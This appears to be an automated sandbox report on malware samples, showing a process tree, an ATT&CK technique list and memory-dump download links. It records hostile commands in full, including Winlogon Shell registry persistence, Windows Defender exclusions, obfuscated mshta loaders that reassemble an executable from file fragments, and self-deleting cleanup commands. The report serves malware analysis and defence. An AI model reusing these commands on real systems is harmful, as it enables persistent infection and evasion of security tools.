C:\Users\Admin\AppData\Local\Temp\C201.exe
1⤵
PID:10056

C:\Users\Admin\AppData\Local\Temp\D79E.exe
C:\Users\Admin\AppData\Local\Temp\D79E.exe
1⤵
PID:10008
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
  2⤵
  PID:7536

C:\Users\Admin\AppData\Local\Temp\D45.exe
C:\Users\Admin\AppData\Local\Temp\D45.exe
1⤵
PID:6536
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
  2⤵
  PID:7068
- - C:\Windows\SysWOW64\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /release
    3⤵
    - Gathers network information
    PID:10300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\PING.EXE
    "C:\Windows\system32\PING.EXE" twitter.com
    3⤵
    - Runs ping.exe
    PID:10628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
  2⤵
  PID:10484
- - C:\Windows\SysWOW64\PING.EXE
    "C:\Windows\system32\PING.EXE" twitter.com
    3⤵
    - Runs ping.exe
    PID:11744

C:\Users\Admin\AppData\Local\Temp\23AC.exe
C:\Users\Admin\AppData\Local\Temp\23AC.exe
1⤵
PID:10224
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
  2⤵
  PID:7224
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
    3⤵
    PID:7876
- C:\Users\Admin\AppData\Local\chromedrlver.exe
  "C:\Users\Admin\AppData\Local\chromedrlver.exe"
  2⤵
  PID:11124
- - C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
    3⤵
    PID:12168

C:\Users\Admin\AppData\Local\Temp\3EA8.exe
C:\Users\Admin\AppData\Local\Temp\3EA8.exe
1⤵
PID:9332
- C:\Users\Admin\AppData\Local\Temp\40b18bbe-99a6-4196-9fba-934cdfa37a20\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\40b18bbe-99a6-4196-9fba-934cdfa37a20\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\40b18bbe-99a6-4196-9fba-934cdfa37a20\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  PID:6288
- - C:\Users\Admin\AppData\Local\Temp\40b18bbe-99a6-4196-9fba-934cdfa37a20\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\40b18bbe-99a6-4196-9fba-934cdfa37a20\AdvancedRun.exe" /SpecialRun 4101d8 6288
    3⤵
    PID:7396
- C:\Users\Admin\AppData\Local\Temp\c1b045a2-da9b-4616-a4b1-6fffdc4fb3ed\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\c1b045a2-da9b-4616-a4b1-6fffdc4fb3ed\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\c1b045a2-da9b-4616-a4b1-6fffdc4fb3ed\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  PID:4452
- - C:\Users\Admin\AppData\Local\Temp\c1b045a2-da9b-4616-a4b1-6fffdc4fb3ed\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\c1b045a2-da9b-4616-a4b1-6fffdc4fb3ed\AdvancedRun.exe" /SpecialRun 4101d8 4452
    3⤵
    PID:1420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3EA8.exe" -Force
  2⤵
  PID:9632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3EA8.exe" -Force
  2⤵
  PID:8812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3EA8.exe" -Force
  2⤵
  PID:6332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
  2⤵
  PID:4832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
  2⤵
  PID:4976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3EA8.exe" -Force
  2⤵
  PID:5280
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
  2⤵
  PID:8140
- - C:\Users\Admin\AppData\Local\Temp\2afb872d-a6e2-4aa7-9946-989f4d89229c\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\2afb872d-a6e2-4aa7-9946-989f4d89229c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2afb872d-a6e2-4aa7-9946-989f4d89229c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:11032
  - - C:\Users\Admin\AppData\Local\Temp\2afb872d-a6e2-4aa7-9946-989f4d89229c\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\2afb872d-a6e2-4aa7-9946-989f4d89229c\AdvancedRun.exe" /SpecialRun 4101d8 11032
      4⤵
      PID:10380
- - C:\Users\Admin\AppData\Local\Temp\b5b6b588-b234-48a2-b0d6-8763543f5f7b\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\b5b6b588-b234-48a2-b0d6-8763543f5f7b\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b5b6b588-b234-48a2-b0d6-8763543f5f7b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:11148
  - - C:\Users\Admin\AppData\Local\Temp\b5b6b588-b234-48a2-b0d6-8763543f5f7b\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\b5b6b588-b234-48a2-b0d6-8763543f5f7b\AdvancedRun.exe" /SpecialRun 4101d8 11148
      4⤵
      PID:11116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:10588
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:5664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:11116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
    3⤵
    PID:10384
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
    3⤵
    PID:11408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
    3⤵
    PID:11836
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    PID:11944
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
  2⤵
  PID:10332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3EA8.exe" -Force
  2⤵
  PID:10548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
  2⤵
  PID:10756
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
  2⤵
  PID:11212
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
  2⤵
  PID:156
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:10536

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8164
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:10944

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:11120
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8320

C:\Program Files (x86)\Xgd_x6tix\cx4xnpcrfi0mxhh.exe
"C:\Program Files (x86)\Xgd_x6tix\cx4xnpcrfi0mxhh.exe"
1⤵
PID:7996

C:\Users\Admin\AppData\Local\Temp\FC6B.exe
C:\Users\Admin\AppData\Local\Temp\FC6B.exe
1⤵
PID:3324

C:\Users\Admin\AppData\Local\Temp\4339.exe
C:\Users\Admin\AppData\Local\Temp\4339.exe
1⤵
PID:11336

C:\Users\Admin\AppData\Local\Temp\8023.exe
C:\Users\Admin\AppData\Local\Temp\8023.exe
1⤵
PID:10572

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:10900
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5992

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1000
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7192

C:\Users\Admin\AppData\Local\Temp\3E6.exe
C:\Users\Admin\AppData\Local\Temp\3E6.exe
1⤵
PID:9684
- C:\Users\Admin\AppData\Local\Temp\3E6.exe
  C:\Users\Admin\AppData\Local\Temp\3E6.exe
  2⤵
  PID:8208
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\990a06ab-a661-48b3-8831-3f973133d05f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:10508
- - C:\Users\Admin\AppData\Local\Temp\3E6.exe
    "C:\Users\Admin\AppData\Local\Temp\3E6.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:7180
  - - C:\Users\Admin\AppData\Local\Temp\3E6.exe
      "C:\Users\Admin\AppData\Local\Temp\3E6.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:1748
    - - C:\Users\Admin\AppData\Local\1a3ead47-7925-4f94-ae6b-40f08fb3d62b\build2.exe
        
        "C:\Users\Admin\AppData\Local\1a3ead47-7925-4f94-ae6b-40f08fb3d62b\build2.exe"
        5⤵
        
        PID:11020
      - C:\Users\Admin\AppData\Local\1a3ead47-7925-4f94-ae6b-40f08fb3d62b\build2.exe
        
        "C:\Users\Admin\AppData\Local\1a3ead47-7925-4f94-ae6b-40f08fb3d62b\build2.exe"
        6⤵
        
        PID:6736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\1a3ead47-7925-4f94-ae6b-40f08fb3d62b\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:4136

C:\Users\Admin\AppData\Local\Temp\2654.exe
C:\Users\Admin\AppData\Local\Temp\2654.exe
1⤵
PID:12200

C:\Users\Admin\AppData\Local\Temp\4ECC.exe
C:\Users\Admin\AppData\Local\Temp\4ECC.exe
1⤵
PID:10932
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE (CrEATEOBJECT ("WscriPT.ShEll"). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\4ECC.exe"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF """" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\4ECC.exe"" ) do taskkill /im ""%~nXQ"" -f ", 0,TRUe ))
  2⤵
  PID:4832
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\4ECC.exe" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "" =="" for %Q iN ("C:\Users\Admin\AppData\Local\Temp\4ECC.exe" ) do taskkill /im "%~nXQ" -f
    3⤵
    PID:10636
  - - C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE
      ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7
      4⤵
      PID:10696
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRIPt: CloSE (CrEATEOBJECT ("WscriPT.ShEll"). rUn ( "C:\Windows\system32\cmd.exe /r cOPy /y ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF ""-pEu3VPItrF6pCIFoPfAdI7 "" == """" for %Q iN ( ""C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE"" ) do taskkill /im ""%~nXQ"" -f ", 0,TRUe ))
        5⤵
        
        PID:11504
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /r cOPy /y "C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ..\YGu6dRX.eXE && STart ..\YGU6DRX.exE -pEu3VPItrF6pCIFoPfAdI7 & iF "-pEu3VPItrF6pCIFoPfAdI7 " =="" for %Q iN ("C:\Users\Admin\AppData\Local\Temp\YGu6dRX.eXE" ) do taskkill /im "%~nXQ" -f
        6⤵
        
        PID:8900
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCrIPt:ClosE ( CReatEoBJect ( "wSCRiPt.sHELl"). rUN( "CMd.EXE /q /R Echo | SET /p = ""MZ"" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2 + SoLi.X + NlEYUAM.J + VrTf6S.Kuq+ JAWQ.UF + 5CkHYa.YmN ..\FJ~iiI.s & DEL /q *& sTart control ..\FJ~iII.s " , 0,tRue ))
        5⤵
        
        PID:11280
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R Echo | SET /p = "MZ" >G52~.M & cOpY /y /B g52~.M + MyDCSYS.aJ2+SoLi.X + NlEYUAM.J + VrTf6S.Kuq+JAWQ.UF+5CkHYa.YmN ..\FJ~iiI.s &DEL /q *& sTart control ..\FJ~iII.s
        6⤵
        
        PID:6832
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        7⤵
        
        PID:11692
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>G52~.M"
        7⤵
        
        PID:7824
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\FJ~iII.s
        7⤵
        
        PID:9284
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\FJ~iII.s
        8⤵
        
        PID:4492
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "4ECC.exe" -f
      4⤵
      Kills process with taskkill
      PID:8652

C:\Users\Admin\AppData\Local\Temp\6ED8.exe
C:\Users\Admin\AppData\Local\Temp\6ED8.exe
1⤵
PID:10480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im 6ED8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6ED8.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:11652
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im 6ED8.exe /f
    3⤵
    - Kills process with taskkill
    PID:12176

C:\Users\Admin\AppData\Roaming\vgriaee
C:\Users\Admin\AppData\Roaming\vgriaee
1⤵
PID:11992

C:\Users\Admin\AppData\Roaming\gsriaee
C:\Users\Admin\AppData\Roaming\gsriaee
1⤵
PID:12228

C:\Users\Admin\AppData\Roaming\brriaee
C:\Users\Admin\AppData\Roaming\brriaee
1⤵
PID:11452

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:11320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/292-508-0x000001C8A6620000-0x000001C8A6692000-memory.dmp

Filesize
456KB

Download
memory/356-226-0x0000000003060000-0x0000000003061000-memory.dmp

Filesize
4KB

Download
memory/356-220-0x0000000003060000-0x0000000003061000-memory.dmp

Filesize
4KB

Download
memory/356-248-0x0000000006DF0000-0x0000000006DF1000-memory.dmp

Filesize
4KB

Download
memory/356-294-0x0000000007D20000-0x0000000007D21000-memory.dmp

Filesize
4KB

Download
memory/356-280-0x0000000007330000-0x0000000007331000-memory.dmp

Filesize
4KB

Download
memory/356-251-0x0000000006DF2000-0x0000000006DF3000-memory.dmp

Filesize
4KB

Download
memory/384-513-0x000002E98A760000-0x000002E98A7D2000-memory.dmp

Filesize
456KB

Download
memory/700-374-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/868-242-0x0000000004CA0000-0x0000000004CA1000-memory.dmp

Filesize
4KB

Download
memory/868-268-0x0000000004C20000-0x0000000004C96000-memory.dmp

Filesize
472KB

Download
memory/868-298-0x0000000005280000-0x0000000005281000-memory.dmp

Filesize
4KB

Download
memory/868-221-0x0000000000420000-0x0000000000421000-memory.dmp

Filesize
4KB

Download
memory/1064-500-0x000002372F970000-0x000002372F9E2000-memory.dmp

Filesize
456KB

Download
memory/1448-526-0x000001AFBE640000-0x000001AFBE6B2000-memory.dmp

Filesize
456KB

Download
memory/1536-222-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/1536-258-0x0000000004A80000-0x0000000004A81000-memory.dmp

Filesize
4KB

Download
memory/1536-247-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1556-225-0x000000001AE20000-0x000000001AE22000-memory.dmp

Filesize
8KB

Download
memory/1556-216-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/1768-376-0x0000000004F30000-0x0000000004F31000-memory.dmp

Filesize
4KB

Download
memory/1884-540-0x0000027DEB1D0000-0x0000027DEB242000-memory.dmp

Filesize
456KB

Download
memory/2160-347-0x0000000000400000-0x0000000002BAF000-memory.dmp

Filesize
39.7MB

Download
memory/2160-346-0x0000000002C90000-0x0000000002DDA000-memory.dmp

Filesize
1.3MB

Download
memory/2288-246-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/2368-240-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

Filesize
4KB

Download
memory/2368-532-0x000000007EA40000-0x000000007EA41000-memory.dmp

Filesize
4KB

Download
memory/2368-223-0x00000000029F0000-0x00000000029F1000-memory.dmp

Filesize
4KB

Download
memory/2368-245-0x0000000006970000-0x0000000006971000-memory.dmp

Filesize
4KB

Download
memory/2368-238-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/2368-284-0x00000000077C0000-0x00000000077C1000-memory.dmp

Filesize
4KB

Download
memory/2368-219-0x00000000029F0000-0x00000000029F1000-memory.dmp

Filesize
4KB

Download
memory/2368-288-0x0000000007830000-0x0000000007831000-memory.dmp

Filesize
4KB

Download
memory/2368-250-0x0000000006972000-0x0000000006973000-memory.dmp

Filesize
4KB

Download
memory/2448-493-0x000001ACEAD10000-0x000001ACEAD82000-memory.dmp

Filesize
456KB

Download
memory/2468-510-0x000002C364540000-0x000002C3645B2000-memory.dmp

Filesize
456KB

Download
memory/2756-492-0x000001B7C2E10000-0x000001B7C2E82000-memory.dmp

Filesize
456KB

Download
memory/2912-364-0x0000000002D10000-0x0000000002E5A000-memory.dmp

Filesize
1.3MB

Download
memory/2912-375-0x0000000000400000-0x0000000002BC8000-memory.dmp

Filesize
39.8MB

Download
memory/2948-269-0x0000000005460000-0x0000000005461000-memory.dmp

Filesize
4KB

Download
memory/2948-224-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/3016-373-0x00000000010B0000-0x00000000010C6000-memory.dmp

Filesize
88KB

Download
memory/3464-366-0x0000000000400000-0x000000000058E000-memory.dmp

Filesize
1.6MB

Download
memory/3464-365-0x0000000000590000-0x00000000006DA000-memory.dmp

Filesize
1.3MB

Download
memory/3564-344-0x000000001BBE0000-0x000000001BBE2000-memory.dmp

Filesize
8KB

Download
memory/3896-231-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/3944-229-0x00000000006A0000-0x00000000006A1000-memory.dmp

Filesize
4KB

Download
memory/3944-264-0x00000000050C0000-0x00000000050C1000-memory.dmp

Filesize
4KB

Download
memory/3944-260-0x0000000002930000-0x0000000002931000-memory.dmp

Filesize
4KB

Download
memory/3960-479-0x000001D0827A0000-0x000001D082812000-memory.dmp

Filesize
456KB

Download
memory/3960-481-0x000001D0826E0000-0x000001D08272D000-memory.dmp

Filesize
308KB

Download
memory/4012-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4012-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4012-147-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4012-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/4012-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4012-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/4012-146-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4012-144-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4012-145-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/4012-138-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/4012-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/4012-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/4092-259-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4152-263-0x0000000000010000-0x0000000000011000-memory.dmp

Filesize
4KB

Download
memory/4216-383-0x00000000775E0000-0x000000007776E000-memory.dmp

Filesize
1.6MB

Download
memory/4216-416-0x0000000005790000-0x0000000005791000-memory.dmp

Filesize
4KB

Download
memory/4268-273-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4348-278-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/4348-283-0x0000000000A20000-0x0000000000A21000-memory.dmp

Filesize
4KB

Download
memory/4348-297-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

Download
memory/4436-291-0x0000000000900000-0x0000000000910000-memory.dmp

Filesize
64KB

Download
memory/4436-295-0x0000000000930000-0x0000000000A7A000-memory.dmp

Filesize
1.3MB

Download
memory/4480-480-0x0000000002D60000-0x0000000002DBD000-memory.dmp

Filesize
372KB

Download
memory/4480-478-0x0000000004644000-0x0000000004745000-memory.dmp

Filesize
1.0MB

Download
memory/4540-498-0x0000000003380000-0x0000000003456000-memory.dmp

Filesize
856KB

Download
memory/4540-496-0x0000000002F70000-0x00000000030BA000-memory.dmp

Filesize
1.3MB

Download
memory/4540-527-0x0000000000400000-0x0000000002F63000-memory.dmp

Filesize
43.4MB

Download
memory/4656-302-0x0000000000A10000-0x0000000000A11000-memory.dmp

Filesize
4KB

Download
memory/4656-305-0x0000000002990000-0x0000000002992000-memory.dmp

Filesize
8KB

Download
memory/4668-411-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

Download
memory/4668-381-0x00000000775E0000-0x000000007776E000-memory.dmp

Filesize
1.6MB

Download
memory/4676-316-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4684-343-0x0000000004F20000-0x0000000005526000-memory.dmp

Filesize
6.0MB

Download
memory/4684-317-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4692-318-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4692-345-0x0000000004C90000-0x0000000005296000-memory.dmp

Filesize
6.0MB

Download
memory/4792-313-0x000000001BB50000-0x000000001BB52000-memory.dmp

Filesize
8KB

Download
memory/4792-307-0x0000000000F40000-0x0000000000F41000-memory.dmp

Filesize
4KB

Download
memory/4872-312-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/4872-311-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/4972-538-0x0000000003050000-0x000000000319A000-memory.dmp

Filesize
1.3MB

Download
memory/4972-535-0x00000000001D0000-0x00000000001F7000-memory.dmp

Filesize
156KB

Download
memory/5212-455-0x0000000005520000-0x0000000005521000-memory.dmp

Filesize
4KB

Download
memory/5212-414-0x00000000775E0000-0x000000007776E000-memory.dmp

Filesize
1.6MB

Download
memory/5228-408-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/5844-467-0x0000000005510000-0x0000000005511000-memory.dmp

Filesize
4KB

Download
memory/5896-469-0x0000000005180000-0x0000000005181000-memory.dmp

Filesize
4KB

Download
